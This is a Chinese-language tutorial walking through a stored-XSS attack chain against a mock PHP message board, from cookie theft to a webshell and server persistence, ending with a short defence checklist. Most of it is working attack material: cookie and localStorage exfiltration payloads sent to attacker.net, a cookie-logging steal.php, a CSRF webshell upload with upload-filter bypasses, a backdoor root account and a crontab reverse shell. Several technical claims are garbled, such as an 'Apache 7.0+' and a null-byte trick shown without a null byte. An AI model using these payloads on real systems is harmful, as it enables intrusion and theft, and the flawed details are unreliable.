存储型 XSS 实战链:从留言板到拿下管理员 Shell

一、场景设定

我们用一个真实感的靶场应用来演示完整攻击链。

1.1 应用架构

┌─────────────────────────────────────────────┐
│               受害应用 (victim.com)            │
│  ┌──────────┐    ┌──────────┐    ┌─────────┐ │
│  │ 用户端   │───▶│留言板页面│───▶│ MySQL   │ │
│  │ (匿名)   │    │  index.php│    │ messages│ │
│  └──────────┘    └──────────┘    └─────────┘ │
│                       │                      │
│                       ▼                      │
│  ┌──────────┐    ┌──────────┐    ┌─────────┐ │
│  │ 管理员   │───▶│审核页面   │───▶│审核通过  │ │
│  │(admin)   │    │ review.php│    │写入数据库│ │
│  └──────────┘    └──────────┘    └─────────┘ │
└─────────────────────────────────────────────┘

┌─────────────────────────────────────────────┐
│          攻击者基础设施 (attacker.net)        │
│  ┌────────────┐   ┌────────────┐   ┌───────┐│
│  │ 监听服务器 │   │ C2 控制端   │   │BeEF   ││
│  │ steal.php  │   │ panel.php  │   │server ││
│  └────────────┘   └────────────┘   └───────┘│
└─────────────────────────────────────────────┘

1.2 留言板应用(漏洞代码)

<?php
// index.php —— 首页,所有用户可见
require 'db.php';

// 显示留言
$messages = $conn->query("SELECT * FROM messages WHERE approved=1 ORDER BY id DESC");
?>
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>留言板</title>
<style>body{font-family:sans-serif;max-width:600px;margin:40px auto;}</style></head>
<body>
<h1>留言板</h1>

<form method="POST" action="submit.php">
  <p>昵称: <input name="nick" required maxlength="20"></p>
  <p>留言: <textarea name="content" rows="4" cols="50" required></textarea></p>
  <button type="submit">提交(需审核)</button>
</form>

<hr>

<?php while($row = $messages->fetch_assoc()): ?>
  <div style="border:1px solid #eee;padding:10px;margin-bottom:10px;">
    <strong><?= htmlspecialchars($row['nick']) ?></strong>
    <span style="color:#999;font-size:12px;"><?= $row['created_at'] ?></span>
    <p style="margin-top:8px;"><?= $row['content'] ?></p>  <!-- ⚠️ 只有 nick 转义了!content 没有! -->
  </div>
<?php endwhile; ?>

<!-- 管理员审核入口 -->
<a href="admin/login.php">管理员登录</a>
</body>
</html>
<?php
// admin/login.php —— 管理员登录后可访问 review.php
session_start();
if (isset($_POST['password'])) {
    if ($_POST['password'] === ADMIN_PASSWORD) {
        $_SESSION['admin'] = true;
        header('Location: review.php');
        exit;
    }
}
?>
<form method="POST"><input type="password" name="password"><button>登录</button></form>
<?php
// admin/review.php —— 管理员审核留言列表
session_start();
if (!$_SESSION['admin']) die('未登录');
require '../db.php';

if ($_GET['action'] === 'approve') {
    $stmt = $conn->prepare("UPDATE messages SET approved=1 WHERE id=?");
    $stmt->bind_param("i", $_GET['id']);
    $stmt->execute();
}
if ($_GET['action'] === 'delete') {
    $stmt = $conn->prepare("DELETE FROM messages WHERE id=?");
    $stmt->bind_param("i", $_GET['id']);
    $stmt->execute();
}

$pending = $conn->query("SELECT * FROM messages WHERE approved=0 ORDER BY id ASC");
?>
<h1>待审核留言</h1>
<table border="1">
<?php while ($row = $pending->fetch_assoc()): ?>
<tr>
  <td><?= htmlspecialchars($row['nick']) ?></td>
  <!-- ⚠️ 这里 content 也没有转义!管理员审核页面一样中招! -->
  <td><?= $row['content'] ?></td>
  <td>
    <a href="?action=approve&id=<?= $row['id'] ?>">通过</a>
    <a href="?action=delete&id=<?= $row['id'] ?>">删除</a>
  </td>
</tr>
<?php endwhile; ?>
</table>

二、攻击链 Step 1:投递 XSS Payload

2.1 攻击者提交留言

攻击者填写留言表单:

字段
昵称 H4CK3R
留言 下方多阶段 Payload

第一阶段 Payload(纯 Cookie 窃取)

<img src=x onerror="fetch('https://attacker.net/steal?c='+encodeURIComponent(document.cookie))">

第二阶段 Payload(完整会话劫持)

这个 Payload 会在被审核通过后,所有访问者都会中招,同时在管理员审核页面管理员也中招

<script>
(function(){
    var beacon = 'https://attacker.net/steal.php';
    var payload = {
        cookie: document.cookie,
        url: location.href,
        ua: navigator.userAgent,
        referrer: document.referrer,
        timestamp: Date.now()
    };
    fetch(beacon + '?d=' + btoa(JSON.stringify(payload)), {mode:'no-cors'});

    // 尝试收集 localStorage(非 HttpOnly 存储的敏感信息)
    try {
        var ls = {};
        for (var i=0; i<localStorage.length; i++) {
            ls[localStorage.key(i)] = localStorage.getItem(localStorage.key(i));
        }
        fetch(beacon + '?ls=' + btoa(JSON.stringify(ls)), {mode:'no-cors'});
    } catch(e){}
})();
</script>

三、攻击链 Step 2:管理员触发 XSS + 获取管理员 Cookie

3.1 管理员审核页面被触发

管理员打开 admin/review.php → 审核列表中直接渲染了 content → Payload 执行。

3.2 攻击者的 steal.php 收到 Cookie

<?php
// steal.php —— 攻击者服务器上的记录脚本
$logFile = 'stolen_cookies.log';
$line = date('[Y-m-d H:i:s]') . ' ' . $_SERVER['REMOTE_ADDR'] . ' | ';
foreach ($_GET as $k=>$v) {
    $line .= $k . '=' . $v . ' | ';
}
$line .= "
";
file_put_contents($logFile, $line, FILE_APPEND);
header('Content-Type: image/gif');
// 返回一个 1x1 的 GIF,浏览器无感知
echo base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7');
?>

3.3 攻击者看到的日志

[2026-08-06 14:23:01] 10.0.0.55 | d=eyJjb29raWUiOiJhZG1pbl9zZXNzaW9uPWh0dHNzZWNyZXRjb2RlIiwidXJsIjoiaHR0cHM6Ly92aWN0aW0uY29tL2FkbWluL3Jldmlldy5waHAiLCJ1YSI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIFhQIDEwLjAiKSBBcHBsZVdlYi1LaXQvNTM3LjM2IChLTUgsIGxpa2UgR2Vja28pIENocm9tZS8xMjUuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJlZmVycmVyIjoiIiwidGltZXN0YW1wIjoxNzUyODc2OTgxMDAwfQ== |
[2026-08-06 14:23:02] 10.0.0.55 | ls=e30= |

攻击者解码 b64:

{
  "cookie": "admin_session=httphs3cretc0de",
  "url": "https://victim.com/admin/review.php",
  "ua": "Mozilla/5.0 (Windows XP 10.0) AppleWebKit/537.36 ...",
  "referrer": "",
  "timestamp": 1752876981000
}

四、攻击链 Step 3:用窃取的 Cookie 接管管理员会话

4.1 设置 Cookie 到本地浏览器

攻击者在自己的 Chrome DevTools Console 中:

document.cookie = "admin_session=httphs3cretc0de; domain=victim.com; path=/";
location.href = "https://victim.com/admin/review.php";

或者用 curl 直接请求:

curl -b "admin_session=httphs3cretc0de"      https://victim.com/admin/review.php

成功以管理员身份进入审核页面!

4.2 注意:HttpOnly Cookie 的区别

如果应用把 admin_session 设了 HttpOnly,那么:

  • ✅ 浏览器会自动携带 Cookie
  • ❌ JavaScript 的 document.cookie 读不到这个值
  • ❌ 上面的 Payload 只能拿到非 HttpOnly 的 Cookie

但这不意味着 XSS 没用——接下来攻击者可以利用管理员会话发起 CSRF


五、攻击链 Step 4:CSRF 结合写入 WebShell

5.1 场景:管理员有权限上传文件

假设管理员还能访问 admin/upload.php,用于上传网站 Logo 图片:

<?php
// admin/upload.php
session_start();
if (!$_SESSION['admin']) die('未登录');

if ($_FILES['logo']) {
    $name = $_FILES['logo']['name'];
    $ext = pathinfo($name, PATHINFO_EXTENSION);
    $allowed = ['png', 'jpg', 'gif', 'webp'];
    if (!in_array($ext, $allowed)) die('类型不允许');

    $target = 'uploads/' . time() . '.' . $ext;
    move_uploaded_file($_FILES['logo']['tmp_name'], $target);
    echo "上传成功: $target";
}
?>
<form method="POST" enctype="multipart/form-data">
  <input type="file" name="logo">
  <button>上传</button>
</form>

5.2 CSRF Payload 写入留言

攻击者现在需要在 XSS Payload 中发起跨站请求伪造,让管理员在审核留言的时候不知不觉上传一个 PHP WebShell

方法一:存储型 XSS 直接做 CSRF(不窃取 Cookie 值)

<script>
// 这段代码在管理员浏览器中执行,自动携带 admin_session Cookie(浏览器行为)
(function(){
    var fd = new FormData();

    // 构造一个"png"文件,实际上内容是 PHP WebShell
    var shellContent = '<?php @eval($_POST["cmd"]); ?>';
    var blob = new Blob([shellContent], {type: 'image/png'});

    // 绕过 ext 检查 —— 某些 PHP 版本 pathinfo 有陷阱
    // 1. 用双扩展名 shell.php.png,但 Apache/Nginx 默认不解析
    // 2. 用 shell.phtml、shell.pht、shell.php5 等罕见扩展名
    // 3. 如果服务器不检查 MIME,直接 .php
    var fakeFile = new File([blob], 'logo.php', {type: 'image/png'});

    fd.append('logo', fakeFile);

    fetch('https://victim.com/admin/upload.php', {
        method: 'POST',
        body: fd,
        credentials: 'same-origin'   // 关键:携带 Cookie
    }).then(function(r){
        return r.text();
    }).then(function(t){
        // 告诉攻击者上传结果
        fetch('https://attacker.net/callback?result=' + encodeURIComponent(t));
    });
})();
</script>

5.3 如果上传功能严格限制

绕过后缀检查的真实技巧

<?php
// 绕过 pathinfo() 扩展名检查
// 技巧1:利用 null 字节(PHP < 5.3.4)
$_FILES['logo']['name'] = 'shell.php.png';
// pathinfo 返回 'png',但 move_uploaded_file 把 null 后面的去掉,实际保存为 shell.php

// 技巧2:利用 Apache 解析行为
// file.php.xxx 或 file.php7 —— Apache 7.0+ 只解析最后一个已知扩展名
// 但 Apache 2.x 会把 file.php.xxx 当作 php 解析
// 这需要服务器使用的是 Apache 且未配置 AddType

// 技巧3:.htaccess 上传(如果允许)
// 上传一个 .htaccess 文件,内容:
// AddType application/x-httpd-php .png
// 然后上传 .png WebShell
?>

绕过 MIME 检查

// Blob 构造时指定 type 字段(服务端 getimagesize 绕过更难)
var blob = new Blob([shellContent], {type: 'image/jpeg'});
// 但如果服务端用 getimagesize() 检查真实文件头,就要伪造 JPEG 头部
// JPEG 头是 ÿØÿà
// PNG 头是 ‰PNG


var jpegHeader = new Uint8Array([0xFF, 0xD8, 0xFF, 0xE0]);
var fullContent = new Uint8Array(jpegHeader.length + shellContent.length);
fullContent.set(jpegHeader, 0);
fullContent.set(new TextEncoder().encode(shellContent), jpegHeader.length);
var blob = new Blob([fullContent], {type: 'image/jpeg'});

六、攻击链 Step 5:利用 WebShell 获取服务器权限

6.1 访问 WebShell

假设成功上传到 https://victim.com/uploads/logo.php,攻击者可以:

# 简单命令执行
curl -X POST https://victim.com/uploads/logo.php      -d "cmd=system('whoami');"

# 用 AntSword / 菜刀 / 冰蝎 连接图形化管理
# 蚁剑配置:URL = https://victim.com/uploads/logo.php, 密码 = cmd

6.2 进一步持久化

# 在 WebShell 里:
# 1. 加一个隐藏后门账号
adduser backdoor:x:0:0::/home/backdoor:/bin/bash >> /etc/passwd
echo "backdoor:pass123" | chpasswd backdoor

# 2. 写入 crontab 反弹 Shell 定时任务
echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.net/4444 0>&1" > /tmp/cron_job
crontab /tmp/cron_job

# 3. 植入 rootkit 或挖矿程序
# (略)

七、完整攻击链总结

Step 1  攻击者提交恶意留言 ──▶ 数据库(approved=0,待审核)
              │
Step 2  管理员打开审核页面 ──▶ XSS 触发 ──▶ steal.php 收集 Cookie/行为
              │
Step 3  攻击者拿到 Cookie  ──▶ 接管管理员会话(或直接用 XSS 做 CSRF)
              │
Step 4  以管理员权限上传   ──▶ WebShell 落地
              │
Step 5  通过 WebShell 执行 ──▶ 系统命令 / 提权 / 持久化
              │
Step 6  清理痕迹 + 扩展控制 ──▶ 拿下目标服务器

八、防御清单

层次 措施 对应上面哪一步
1. 输入输出 所有动态内容(不仅 nick)使用 htmlspecialchars() Step 1-2
2. 上传校验 扩展名白名单 + MIME 二次校验 + 不执行 PHP 目录 Step 4
3. Cookie HttpOnly + SameSite=Lax/Strict Step 2
4. CSP script-src 'self' 禁止内联脚本 Step 2
5. CSRF Token 所有管理操作必须携带 csrf_token Step 3-4
6. 监控 WAF + 异常上传告警 + RASP 检测危险函数 Step 全链路

关键教训:很多开发者只转义了"用户名"这样的"安全字段",却忘了转义"评论内容"这种"富文本字段"。所有从数据库读出的动态内容都要做转义,无一例外。